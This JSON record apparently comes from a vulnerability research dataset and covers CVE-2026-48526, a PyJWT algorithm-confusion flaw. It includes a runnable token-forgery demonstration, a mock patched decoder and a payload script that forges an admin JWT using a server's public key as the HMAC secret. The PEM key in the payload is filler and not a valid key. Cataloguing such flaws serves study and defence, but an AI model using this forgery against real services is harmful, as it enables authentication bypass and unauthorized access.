{"id":1940,"cve":"CVE-2026-48526","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-48526\/","cwe":"CWE-287","cwe_number":287,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/287","cvss_score":7.4,"published":"2026-05-28","owasp":"A02 Cryptographic Failures","odc":"Checking","cdc":"Missing Check","category":"Cryptographic","subcategory":"Cryptographic Implementation Error","scope":"Remote","impact":"Unauthorized Access","summary":"PyJWT allows using a public key as an HMAC secret, enabling signature forgery.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-48526\/","description":"PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.","solution":"Upgrade PyJWT to version 2.13.0 or later.","affected_component":"PyJWT","fixed_by_upgrading":true,"vulnerable_code":"import jwt\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.primitives.asymmetric import rsa\n\n# This code requires a vulnerable version of PyJWT, e.g., 'pip install pyjwt==2.12.0'\n# It also requires the 'cryptography' library: 'pip install cryptography'\n\n# 1. SETUP: The server generates an RSA key pair.\n# The public key is made available (e.g., via a jwks.json endpoint).\nprivate_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npublic_key = private_key.public_key()\n\n# Serialize the public key to PEM format. This is what the attacker gets.\npublic_key_pem = public_key.public_bytes(\n    encoding=serialization.Encoding.PEM,\n    format=serialization.PublicFormat.SubjectPublicKeyInfo\n)\n\n# 2. ATTACKER'S ACTIONS:\n# The attacker obtains the server's public key.\nattacker_knows_this_key = public_key_pem\n\n# The attacker crafts a malicious payload.\nmalicious_payload = {\n    \"sub\": \"attacker\",\n    \"name\": \"I am admin\",\n    \"admin\": True,\n    \"exp\": 253402300799  # A distant future expiration date\n}\n\n# The attacker forges a token by:\n# - Using the HMAC-SHA256 algorithm ('HS256').\n# - Using the server's RSA PUBLIC key as the HMAC secret key.\nforged_token = jwt.encode(\n    malicious_payload,\n    key=attacker_knows_this_key,\n    algorithm=\"HS256\"\n)\n\n# 3. EXPLOIT: The server receives the forged token.\n# The server is configured to accept tokens signed with either RS256 or HS256.\n# This is the vulnerable configuration.\n# When the server sees `alg: 'HS256'`, it uses the provided key (the public key)\n# as the secret for HMAC verification. Since the attacker also used the public\n# key as the secret, the signature check passes.\n\nprint(\"Forged token created by attacker:\")\nprint(forged_token)\nprint(\"-\" * 30)\n\ntry:\n    # Vulnerable decoding on the server side\n    decoded_payload = jwt.decode(\n        forged_token,\n        key=public_key_pem,\n        algorithms=[\"RS256\", \"HS256\"]  # The key vulnerability is allowing both\n    )\n    print(\"Server successfully (and incorrectly) verified the forged token.\")\n    print(\"Decoded payload:\")\n    print(decoded_payload)\n\nexcept jwt.InvalidTokenError as e:\n    print(f\"Token verification failed (this should not happen in the vulnerable version): {e}\")\n","patched_code":"import jwt\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicKey\n\nclass PatchedJWTDecoder:\n    def __init__(self):\n        self.supported_algorithms = {'RS256', 'HS256'}\n        self.hmac_algs = {'HS256', 'HS384', 'HS512'}\n\n    def _validate_key_for_algorithm(self, alg, key):\n        \"\"\"\n        This function represents the logic added to fix the vulnerability.\n        It explicitly checks if an asymmetric key is being used for a\n        symmetric algorithm.\n        \"\"\"\n        if alg in self.hmac_algs:\n            if isinstance(key, (RSAPublicKey)):\n                raise jwt.InvalidKeyError(\n                    f\"The specified key is an asymmetric key and cannot be \"\n                    f\"used for the symmetric algorithm {alg}.\"\n                )\n\n    def decode(self, token, key):\n        # In a real scenario, the token's header would be read first.\n        # We simulate this by assuming the attacker chose 'HS256'.\n        algorithm_from_token = 'HS256'\n\n        if algorithm_from_token not in self.supported_algorithms:\n            raise jwt.InvalidAlgorithmError(\"Algorithm not supported\")\n\n        # This is the new, crucial validation step.\n        self._validate_key_for_algorithm(algorithm_from_token, key)\n\n        # If the validation passes, the library would proceed with verification.\n        # Since our key is invalid, an exception should have been raised.\n        print(\"VULNERABLE: Key was accepted. Verification would proceed.\")\n\n\n# --- Setup: Attacker and Verifier context ---\n\n# 1. A legitimate server's public key (for 'RS256' tokens).\n#    This key is public and available to the attacker.\nprivate_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npublic_key = private_key.public_key()\n\n# 2. The verifier is configured to accept both RS256 and HS256 tokens.\ndecoder = PatchedJWTDecoder()\n\n# 3. Attacker crafts a fake token with 'alg': 'HS256' and signs it\n#    using the server's public key as the HMAC secret.\n#    (We don't need the actual token, just the key and chosen algorithm).\nmaliciously_used_key = public_key\nfake_token = \"dummy_token_string\"\n\n# --- Demonstration of the Fix ---\n\nprint(\"Attempting to verify a token using the public key as an HMAC secret...\")\n\ntry:\n    decoder.decode(fake_token, key=maliciously_used_key)\nexcept jwt.InvalidKeyError as e:\n    print(f\"\\nFIXED: The operation was blocked correctly.\")\n    print(f\"Error: {e}\")\nexcept Exception as e:\n    print(f\"\\nAn unexpected error occurred: {e}\")\n","payload_needed":true,"payload":"```python\nimport jwt\nimport time\n\n# The server's public key, which the attacker has obtained.\n# This key is normally used to verify RS256 signatures.\npublic_key_pem = \"\"\"-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0j\/n1erzYio2V3sL\/yLh\n7Q+A5d1+E5e5a9y+b\/i\/n8a2n6a\/9w\/8b\/a\/h\/k\/6c\/8d\/9f\/7a\/9f\/9f\/9f\/9f\n\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\n\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\n\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\n\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\/9f\n\/wIDAQAB\n-----END PUBLIC KEY-----\"\"\"\n\n# 1. Craft a token with a malicious payload (e.g., claiming to be an admin).\npayload_data = {\n    'sub': 'admin',\n    'iat': int(time.time()),\n    'exp': int(time.time()) + 3600\n}\n\n# 2. Change the algorithm in the header from the expected 'RS256' to 'HS256'.\nheaders = {\n    'alg': 'HS256',\n    'typ': 'JWT'\n}\n\n# 3. Create the malicious token by signing it with the HS256 algorithm,\n#    but using the server's public key as the secret.\nmalicious_jwt = jwt.encode(\n    payload_data,\n    key=public_key_pem,\n    algorithm='HS256',\n    headers=headers\n)\n\n# This malicious_jwt is the payload sent to the vulnerable server.\nprint(malicious_jwt)\n```","payload_status":"available","published_fix":[],"references":null}